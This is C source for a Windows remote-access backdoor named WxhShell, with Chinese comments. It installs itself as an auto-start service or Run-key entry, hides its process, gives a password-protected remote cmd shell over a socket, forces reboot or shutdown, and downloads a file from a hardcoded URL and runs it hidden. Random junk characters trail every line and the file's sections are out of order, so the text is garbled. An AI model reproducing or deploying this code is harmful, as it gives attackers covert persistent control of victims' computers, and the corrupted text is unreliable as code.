    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gQWa24  
    if(Boot(SHUTDOWN)) hYPl&^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I*{4rDt  
    else { + jc!5i .  
    closesocket(wsh); Q=;U@k@>  
    ExitThread(0); &"f";  
    } V58wU:li  
    break; JTO~9>$ B  
    } de.&`lPRf  
  // 获取shell Dz>^IMsY  
  case 's': { )h"<\%LU  
    CmdShell(wsh); 8!O5quEc  
    closesocket(wsh); uwzvbgup?  
    ExitThread(0); [$0p+1  
    break; g!@<n1 L  
  } q rJ`1  
  // 退出 {XR6>]  
  case 'x': { x+ Ttl4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H?<N.Dq  
    CloseIt(wsh); C'\- @/  
    break; k1w_[w [  
    } 6& e3Nt  
  // 离开 4|buk]9  
  case 'q': { >7lx=T x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 60P#,o@G  
    closesocket(wsh); ]R h#g5X  
    WSACleanup(); |=Eo?Q_  
    exit(1); (G zb  
    break; "6MVvpy"  
        } QdT}wkX  
  } CR8/Ke  
  } 1"zDin!A  
_4"mAPt  
  // 提示信息 }Lc-7[/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nzd2zY>V  
} Wk~W Ozr}^  
  } 0h#l JS*  
UK595n;P  
  return; _ "?.!  
} %<k2#6K  
Gw>^[dmt!  
// shell模块句柄 FQu8 vwV6>  
int CmdShell(SOCKET sock) )Xk0VDNp$/  
{ 7C,&*Ax,9  
STARTUPINFO si; 6IBgt!=,  
ZeroMemory(&si,sizeof(si)); Yw4n-0g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fol,xMc&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tNO-e|~'  
PROCESS_INFORMATION ProcessInfo; HJLu'KY }  
char cmdline[]="cmd"; Aw}"gpL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  CJ1 7n  
  return 0; f sJ9bQm/  
} U{7w#>V .  
~HTmO;HNf"  
// 自身启动模式 xf<at->  
int StartFromService(void) mw_~*Nc'9  
{ 5's87Z;6  
typedef struct XC4X-j3  
{ l)G^cSHF.3  
  DWORD ExitStatus; >p)MawT]  
  DWORD PebBaseAddress; l1T m`7}  
  DWORD AffinityMask; g[1gF&  
  DWORD BasePriority; >6NRi/[  
  ULONG UniqueProcessId; $G8E 3|k  
  ULONG InheritedFromUniqueProcessId; $;1#To  
}   PROCESS_BASIC_INFORMATION;  3,p]/Z_  
+MR.>"  
PROCNTQSIP NtQueryInformationProcess; *,e:]!*  
]JCvyz H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zz+$=(T:M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KC/=TSSXd.  
-m)X]]~C  
  HANDLE             hProcess; pOGeru u?  
  PROCESS_BASIC_INFORMATION pbi; v=0(~<7B  
gRCdY8GH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6g|*`x{  
  if(NULL == hInst ) return 0; 4lr(,nPRD  
#r#1JtT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T=iJGRctB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Id_2PkIN$~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r"C  
SQ44  
  if (!NtQueryInformationProcess) return 0; ^Y=\#-Dd  
TT2d81I3m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G0/4JSH  
  if(!hProcess) return 0; [<2<Y  
5]NqRI^0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {9?JjA  
uD}2<$PP  
  CloseHandle(hProcess); fmQ_P.c  
BcL{se9<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~<O7$~  
if(hProcess==NULL) return 0; :yRo3c  
KV]X@7`@  
HMODULE hMod; &,}j #3<  
char procName[255]; JW{rA6?   
unsigned long cbNeeded; q)Lu_6 mg  
3Ndq>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  8cU}I4|  
k,85Y$`'  
  CloseHandle(hProcess); GC?ON0g5s  
rm5bkJcg~  
if(strstr(procName,"services")) return 1; // 以服务启动 ~ DBcIy?  
",^Mxm{  
  return 0; // 注册表启动 kqM045W7  
} s"0Y3x3  
!F1M(zFD  
// 主模块 R@/"B8H  
int StartWxhshell(LPSTR lpCmdLine) 5 xppKt  
{ d9B]fi}  
  SOCKET wsl; I/a/)No  
BOOL val=TRUE; 8D>n1b(H  
  int port=0; j"}*T  
  struct sockaddr_in door; aNScF  
ZG>PQA  
  if(wscfg.ws_autoins) Install(); V,mw[Hw  
lhYe;b(  
port=atoi(lpCmdLine); IAw{P08+  
kddZZA3`  
if(port<=0) port=wscfg.ws_port; 6eT5ktf  
]ro*G"-_1#  
  WSADATA data; '_GrD>P)-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VRI0W`  
Jbjmv: db  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j <Bkj/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )we}6sE"  
  door.sin_family = AF_INET; .}q&5v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o<[#0T^K   
  door.sin_port = htons(port); |_] Q$q[[%  
8kU! 8^mH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C"!gZ8*\!9  
closesocket(wsl); o9JMH.G  
return 1; pk^K:Xs}  
} CS@FYO  
{_`^R>"\&w  
  if(listen(wsl,2) == INVALID_SOCKET) { 23c 8  
closesocket(wsl); =-8bsV/l  
return 1; ;LG#.~f  
} *QwY]j%^  
  Wxhshell(wsl); uW30ep'  
  WSACleanup(); yUZb #%n  
O!P H&;H  
return 0; ,eTUhK  
I(V!Mv8j  
} t; 4]cg:_  
?)kGA$m#  
// 以NT服务方式启动 i(AT8Bo2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =h0,?]z  
{ <~6h|F8  
DWORD   status = 0; + Af"f' )  
  DWORD   specificError = 0xfffffff; [U5\bX@$  
kS_(wp A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `Gn50-@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s$cK(S#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b6U2GDm\s  
  serviceStatus.dwWin32ExitCode     = 0; znxnL,-  
  serviceStatus.dwServiceSpecificExitCode = 0; (Dw,DY9  
  serviceStatus.dwCheckPoint       = 0; [<%H>S1  
  serviceStatus.dwWaitHint       = 0; bmfI~8  
|$vX<. S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {[+mpKq  
  if (hServiceStatusHandle==0) return; ]L9s%]o  
VHCK2}ps  
status = GetLastError(); ~io szX  
  if (status!=NO_ERROR) 43mP]*=A  
{ 4)@mSSfn.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WU quN  
    serviceStatus.dwCheckPoint       = 0; X $ s:>[H  
    serviceStatus.dwWaitHint       = 0; t=Xv;=daB  
    serviceStatus.dwWin32ExitCode     = status; SZ,YS 4M  
    serviceStatus.dwServiceSpecificExitCode = specificError; |y0(Q V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CDP U\ZG  
    return; { OXFN;2  
  } L1cI`9  
Z Uox Mm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \6R,Nq  
  serviceStatus.dwCheckPoint       = 0; w8MG(Lq1"  
  serviceStatus.dwWaitHint       = 0; @JD;k>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QR%mj*@Wle  
} k< y>)  
\.-}adKg  
// 处理NT服务事件,比如:启动、停止 Nv(9N-9r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~8GFQ ph  
{ )%`^xR  
switch(fdwControl) fA+ ,TEB~d  
{ v2B0q4*BS?  
case SERVICE_CONTROL_STOP: =<?+#-;p  
  serviceStatus.dwWin32ExitCode = 0; p-Kz-+A[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; / c AUl  
  serviceStatus.dwCheckPoint   = 0; DNr@u/>vB  
  serviceStatus.dwWaitHint     = 0; wB!Nc Y\p  
  { WU71/PYm`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Wt*  
  } xT   
  return; .(^ ,z&  
case SERVICE_CONTROL_PAUSE: f33l$pOp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ] lrWgm  
  break; n[G&ksQI  
case SERVICE_CONTROL_CONTINUE: 2/"u5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IIn"=g=9  
  break; G/7cK\^u  
case SERVICE_CONTROL_INTERROGATE: IOqwCD[  
  break; uI1 q>[  
}; `< xn8h9p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "|qqUKJZ  
} orWbU UC  
;[M}MFc/`  
// 标准应用程序主函数 9f&C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >pp5;h8!  
{ "nw;NIp!  
W g02 A\  
// 获取操作系统版本 OmIg<v 0\;  
OsIsNt=GetOsVer(); DXJ`oh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ll`>FcQ  
uBNn6j  
  // 从命令行安装 23RN}LUi  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^eo|P~w g  
^,/RO5  
  // 下载执行文件 .k%[4:Fe  
if(wscfg.ws_downexe) { ?~hHGf\^b6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qo;zHZ'  
  WinExec(wscfg.ws_filenam,SW_HIDE); VJickXA  
} Rb%8)t x  
auK?](U  
if(!OsIsNt) { 'VzP};  
// 如果时win9x,隐藏进程并且设置为注册表启动 q|!-0B @  
HideProc(); e=B|==E10M  
StartWxhshell(lpCmdLine); {>DE sO  
} qz0;p=$8Z  
else Y]/% t{Y  
  if(StartFromService()) VGpWg rmHk  
  // 以服务方式启动 O(D ~_O.  
  StartServiceCtrlDispatcher(DispatchTable); 2O.i\cH  
else ] 6TATPIr  
  // 普通方式启动 uRZZxZ  
  StartWxhshell(lpCmdLine); _kU:Z  
o<COm9)i  
return 0; 0K`#>}W#X  
} y5?RVlKJ  
:,'wVS8"]  
!cO]<CWPq  
W4pL ,(S  
=========================================== 9~]~#Uj  
YjxF}VI~<  
+a^nlW9g  
bN]+_ mF  
'8!Y D?n  
g# Sl %Y  
" %s|}Fz->  
5=v}W:^v.  
#include <stdio.h> RS)tO0  
#include <string.h> '98VYCL  
#include <windows.h> kEOS{C%6R  
#include <winsock2.h> "B3N* R(["  
#include <winsvc.h> = \'}g?  
#include <urlmon.h> DW5Y@;[  
[|(N_[E|6  
#pragma comment (lib, "Ws2_32.lib")  >qS9PX  
#pragma comment (lib, "urlmon.lib") 5-aj 2>=7  
x[h^[oF0  
#define MAX_USER   100 // 最大客户端连接数 bwD,YC  
#define BUF_SOCK   200 // sock buffer S?{#r  
#define KEY_BUFF   255 // 输入 buffer pA9+Cr!0Q  
&7PG.Ff!r  
#define REBOOT     0   // 重启 nExU#/*~^  
#define SHUTDOWN   1   // 关机 wO'T BP  
YH vLGc%  
#define DEF_PORT   5000 // 监听端口 ^p[rc@+  
?OcJ )5C4  
#define REG_LEN     16   // 注册表键长度 UTH*bL5/J2  
#define SVC_LEN     80   // NT服务名长度 kCR_tn 4  
N/ %WsQp  
// 从dll定义API /178A;J y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H*ow\ Ct  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'p> Ra/4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }001K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sf)EMh3Z  
L ^q""[  
// wxhshell配置信息 w80oXXs[#  
struct WSCFG { cq}EZ@ .  
  int ws_port;         // 监听端口 `Aw^H!  
  char ws_passstr[REG_LEN]; // 口令 . $BUw  
  int ws_autoins;       // 安装标记, 1=yes 0=no =Je[c,&j$?  
  char ws_regname[REG_LEN]; // 注册表键名 tnH2sHby  
  char ws_svcname[REG_LEN]; // 服务名 $*e2YQdLo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B* ?]H*K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /|tJ6T1LrB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AK'[c+2[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fq |Ni$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B:'J `M"N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 41`n1:-]  
R=gb'  
}; lR )67a  
,?>s>bHV  
// default Wxhshell configuration X:HacYqtC  
struct WSCFG wscfg={DEF_PORT, T ]t'39  
    "xuhuanlingzhe", ZA0mz 65  
    1, hIy~B['  
    "Wxhshell", B"h#C!E  
    "Wxhshell", @ [:ZS+1  
            "WxhShell Service", 7HIeJ  
    "Wrsky Windows CmdShell Service", vB.E3r=  
    "Please Input Your Password: ", ^2Fei.?T.  
  1, 2bJQTk_S  
  "http://www.wrsky.com/wxhshell.exe", &]`(v}`]  
  "Wxhshell.exe" ''yB5#^w(  
    }; r_ I5. gK  
r[|Xy>Zj  
// 消息定义模块 OLyf8&AU@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gG0!C))8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BXtCSfY $  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4Jp:x"w  
char *msg_ws_ext="\n\rExit."; K"|l@Q[  
char *msg_ws_end="\n\rQuit."; dP3CG8w5  
char *msg_ws_boot="\n\rReboot..."; i3tg6o4C  
char *msg_ws_poff="\n\rShutdown..."; GeyvId03H  
char *msg_ws_down="\n\rSave to "; aI P  
7j@Hs[ *  
char *msg_ws_err="\n\rErr!"; t| g4m[kr  
char *msg_ws_ok="\n\rOK!"; C 3^JAP  
6 Q%jA7  
char ExeFile[MAX_PATH]; 8I lunJ  
int nUser = 0; Gr*r=s  
HANDLE handles[MAX_USER];  `=4r+  
int OsIsNt; BmbyH{4  
cqQ#p2<%  
SERVICE_STATUS       serviceStatus; o_XflzC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g%sluT[#  
C'9Cr}cZ.  
// 函数声明 arIf'CG6  
int Install(void); a =J^  
int Uninstall(void); my(2;IJ#{  
int DownloadFile(char *sURL, SOCKET wsh); Ro\8ZXUQa  
int Boot(int flag); 0(eB ZdRO  
void HideProc(void); a L} % 2  
int GetOsVer(void); J"!vu.[  
int Wxhshell(SOCKET wsl); '~5LY!H(pT  
void TalkWithClient(void *cs); x-$&g*<  
int CmdShell(SOCKET sock); VJeu 8ZJ.  
int StartFromService(void); VEWi_;=J1  
int StartWxhshell(LPSTR lpCmdLine); &v56#lG  
[4YTDEv%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >"^ O"E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Nv#t:J9f  
Oxm>c[R  
// 数据结构和表定义 LhA*F[6$M  
SERVICE_TABLE_ENTRY DispatchTable[] = v\c>b:AofD  
{ MLXNZd   
{wscfg.ws_svcname, NTServiceMain}, GZEc l'h*  
{NULL, NULL} ?4+9fE<Q  
}; } df W%{  
5 h-@|t  
// 自我安装 ^]H5h]U '  
int Install(void) f86XkECZ;`  
{ |?!~{-o  
  char svExeFile[MAX_PATH]; `95r0t0hh\  
  HKEY key; abuh`H#  
  strcpy(svExeFile,ExeFile); fY{1F   
9Vg?{v!yn  
// 如果是win9x系统,修改注册表设为自启动 ;y,5k?  
if(!OsIsNt) { bWH&P/>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `ZU($!(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Gd=n  
  RegCloseKey(key); d(\%Os   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pr3qo4t.L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {+ ][5<q  
  RegCloseKey(key); <`.X$r*  
  return 0; o)h_H;  
    } QX!-B  
  } "i nd$Z`c  
} V[RF </2T  
else { {:Orn%Q  
`tB gH_$M  
// 如果是NT以上系统,安装为系统服务 y^;#&k!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x.]i }mt  
if (schSCManager!=0) Q 8T]\6)m  
{ 1#C4;3i,  
  SC_HANDLE schService = CreateService r /YMLQ  
  ( (SWYOMo"  
  schSCManager, x6BuF_.   
  wscfg.ws_svcname, YJ^] u}  
  wscfg.ws_svcdisp, bfFeBBi  
  SERVICE_ALL_ACCESS, zZ7;jyD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b+%f+zz*h  
  SERVICE_AUTO_START, 3_ r*y9l  
  SERVICE_ERROR_NORMAL, Hkk/xNP  
  svExeFile, CnU*Jb  
  NULL, uW=k K0E  
  NULL, o m^0}$V  
  NULL,  ]3x?  
  NULL, \9cbI3rGz  
  NULL HguT"%iv  
  ); _> 5(iDW0  
  if (schService!=0) hW%TM3l}  
  { t#V!8EpBg  
  CloseServiceHandle(schService); (]Z_UTT  
  CloseServiceHandle(schSCManager); /sUYU (3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ghu#XJB?  
  strcat(svExeFile,wscfg.ws_svcname); Sxnpq Vbk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u__9Z:+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s(5Y  
  RegCloseKey(key); ]GMe \n  
  return 0; jfP*"uUK  
    } *M[?bk~~  
  } aI%g2 q0f  
  CloseServiceHandle(schSCManager); 9eGyyZg  
} 4qO+_!x{)  
} 6w*dKInG[-  
ot,jp|N>f~  
return 1; QCD .YFM  
} EOIN^4V"  
? }Z1bH  
// 自我卸载 q]\:P.x!>  
int Uninstall(void) fX(3H1$"  
{ +Jlay1U&  
  HKEY key; AV:h BoO  
O_2pIbh  
if(!OsIsNt) { BHIRH mM<Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lco~,OE  
  RegDeleteValue(key,wscfg.ws_regname); ~d o9;8v  
  RegCloseKey(key); TCN8a/@z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SAH-p*.  
  RegDeleteValue(key,wscfg.ws_regname); c-x,fS"&W  
  RegCloseKey(key); 61,;Uc\T  
  return 0; e|NG"<  
  } L(/e&J@><  
} /1Qr#OJ(]  
} &VhroHO  
else { BTl k Etm  
NiNM{[3oS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p?{Xu4(  
if (schSCManager!=0) ED2a}Tt>Z  
{ O)C\v F#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zE336  
  if (schService!=0) hP=WFD&  
  { 1[mXd  
  if(DeleteService(schService)!=0) { xj<Rp|7&  
  CloseServiceHandle(schService); Um }  
  CloseServiceHandle(schSCManager); \(3y7D  
  return 0; !lREaSM  
  } gcii9vz `  
  CloseServiceHandle(schService); q VjdOY:z  
  } gD0eFTN  
  CloseServiceHandle(schSCManager); OtY`@\hy  
} aFc1|.Nm  
} .4_o>D  
a_[Eh fE  
return 1; \(J8#V  
} %OtFHhb  
d)"3K6s|5  
// 从指定url下载文件 6~0$Z-);(  
int DownloadFile(char *sURL, SOCKET wsh) Z_PNI#h*  
{ bADnW4N`6;  
  HRESULT hr; 8J*"%C$qe  
char seps[]= "/"; 9V'%<pk''(  
char *token; Eou~P h*t  
char *file; CWf / H)~  
char myURL[MAX_PATH]; \(~y?l  
char myFILE[MAX_PATH]; v:EB*3n5  
]O Z5 fd  
strcpy(myURL,sURL); *w$W2I>b7  
  token=strtok(myURL,seps); w:??h4lt  
  while(token!=NULL) IW)()*8;/  
  { cec9l65d  
    file=token; 7WZrSC  
  token=strtok(NULL,seps); B5gj_^  
  } jL y  
}xKP~h'F  
GetCurrentDirectory(MAX_PATH,myFILE); ,368d9,rDz  
strcat(myFILE, "\\"); fr,7rS/w{l  
strcat(myFILE, file); x"eRJii?  
  send(wsh,myFILE,strlen(myFILE),0); 7.-V-?i  
send(wsh,"...",3,0); anuL1f XO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BoA/6FRi[  
  if(hr==S_OK) R7]l{2V#^  
return 0; k=2Lo  
else =31"fS@  
return 1; { .n"Z  
V @rI`~$  
} %`k6w3qI  
[l:x'_y  
// 系统电源模块 i}b${n o  
int Boot(int flag) r~[Ia!U?  
{ m9)p-1y@5  
  HANDLE hToken; 6f;fx}y  
  TOKEN_PRIVILEGES tkp; 3yANv?$a  
-1Jg?cPz k  
  if(OsIsNt) { '#! gh?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Z{75}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TH)"wNa  
    tkp.PrivilegeCount = 1; hrmut*<|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yhlFFbU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OL5v).Bb  
if(flag==REBOOT) { T} `x-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1pQn8[sc@  
  return 0; Ulhk$CPA  
} }L &^xe  
else { X#d~zk[r2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \:R%4w#Jv  
  return 0; $v,dz_O*\  
} yH7F''O7  
  } 8][nmjk0  
  else { X$%'  
if(flag==REBOOT) { XV!6dh!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }{M#EP8q+  
  return 0; kSC}aN'  
} z,|r*\dw  
else { bAsYv*t%r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :s=NUw_^  
  return 0; .ELGWF`>  
} , l%C X.9  
} c_\YBe]wJ  
;V@WtZv  
return 1; %lL.[8r|  
} ;sfb 4x4  
Ok{*fa.PK  
// win9x进程隐藏模块 $J4 *U  
void HideProc(void) ( W a  
{ DvME 1]7)  
~0?mBy!-O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q)"C&) `l  
  if ( hKernel != NULL ) hZ[E7=NTQ^  
  { h a|C&G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n-5W*zk1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'AzDP;6qFI  
    FreeLibrary(hKernel); Y_}mYvJW  
  } uB |Ss  
m_hN*v Py  
return; $`APHjijN  
} Tfh 2.  
ekI2icD  
// 获取操作系统版本 A2^\q>_#  
int GetOsVer(void) jATI&oX  
{ cbeLu'DWB.  
  OSVERSIONINFO winfo; #u2J;9P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "-_fv5jL  
  GetVersionEx(&winfo); p/(~IC "!J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ()tp>  
  return 1; =,%CLS,6w  
  else f5F@^QXQ  
  return 0; F1iGMf-8  
} 8iW;y2qF  
-r#X~2tPzD  
// 客户端句柄模块 whonDG4WP  
int Wxhshell(SOCKET wsl) @vpf[j  
{ HfcL%b%G8  
  SOCKET wsh; _C.BFE _p  
  struct sockaddr_in client; ^Y<|F!0  
  DWORD myID; ANvRi+ _  
b k|m4|  
  while(nUser<MAX_USER) qL5{f(U4<  
{ Jm|+-F@I  
  int nSize=sizeof(client); wg ^sGKN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b'P eH\h{  
  if(wsh==INVALID_SOCKET) return 1; j lp:lX  
/V=24\1Ky  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lJ+0P2@h*  
if(handles[nUser]==0) p7);uF^O%  
  closesocket(wsh); =81@ o,1w  
else )Y]{HQd  
  nUser++; u583_k%  
  } >:zK?(qu,N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h\7fp.  
_tSAI  
  return 0; ,REJt  
} FvN<<&B  
1mfs 4  
// 关闭 socket e2z h&j  
void CloseIt(SOCKET wsh) Q9U f.Lh2  
{ T(AVlI6  
closesocket(wsh); l_EM8pL,f  
nUser--; dcLA1sN,  
ExitThread(0); ak ->ML  
} \=+b}mKV m  
vy_D>tp  
// 客户端请求句柄 !iH-#B-  
void TalkWithClient(void *cs) =1O<E  
{ d}LRl"_n  
RG3l.jL  
  SOCKET wsh=(SOCKET)cs; MS>t_C(  
  char pwd[SVC_LEN]; b8$gx:aJ>$  
  char cmd[KEY_BUFF]; &=<x#h-  
char chr[1]; YFE&r  
int i,j; QYa(N[~a  
t| 9 GS|  
  while (nUser < MAX_USER) { fbWFLS m;  
'\Jj8oJQj  
if(wscfg.ws_passstr) { .Q@S #d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s7g(3<(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ysmNio  
  //ZeroMemory(pwd,KEY_BUFF); P~s$EJL*  
      i=0; D'L'#/hK  
  while(i<SVC_LEN) { 4J;-Dq  
zG' "9kJx  
  // 设置超时 }Ow>dV?  
  fd_set FdRead; /" ${$b{  
  struct timeval TimeOut; 89n:)|rWq  
  FD_ZERO(&FdRead); 6(]tYcC  
  FD_SET(wsh,&FdRead); h G gx  
  TimeOut.tv_sec=8; 0dA7pY9  
  TimeOut.tv_usec=0; d0aCY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : p{+G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @g2 cC  
%9k!A]KD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {cB+mh;mJ>  
  pwd=chr[0]; aFe`_cnG  
  if(chr[0]==0xd || chr[0]==0xa) { {K4+6p  
  pwd=0; JYrY[',u  
  break; L KCb_9  
  } neXeAU  
  i++; s@z}YH  
    } Nc :({@I  
t6,wjN-J  
  // 如果是非法用户,关闭 socket V?P,&c?84  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "V>R9dO{"!  
} 6`0mta Q  
:N<.?%Kf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JCPUM *g8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .s<*'B7&  
FuUD 61JHY  
while(1) { N0K){  
Rx*BwZ  
  ZeroMemory(cmd,KEY_BUFF); o]ag"Q  
s0*0 'f  
      // 自动支持客户端 telnet标准   *\wp?s>-t  
  j=0; (]RM6i7  
  while(j<KEY_BUFF) { I.Y['%8,5~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WYIQE$SEv  
  cmd[j]=chr[0]; ed!:/+3e/  
  if(chr[0]==0xa || chr[0]==0xd) { c9\2YKo  
  cmd[j]=0; V~T@6S  
  break; h'i{&mS_b  
  } i\4hR?  
  j++; =\,uy8HX  
    } G/d4f?RU  
{ F'Kk\f%:  
  // 下载文件 Wxk x,q?  
  if(strstr(cmd,"http://")) { RQkyCAGx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @v}B6j b;  
  if(DownloadFile(cmd,wsh)) FVB;\'/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;uqx@sx ;  
  else `:wvh(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`8OM}un&  
  } Uu"0rUzt  
  else { >tG+?Y'{  
? b[n|^wS  
    switch(cmd[0]) { C{Asp  
  MlJVeod  
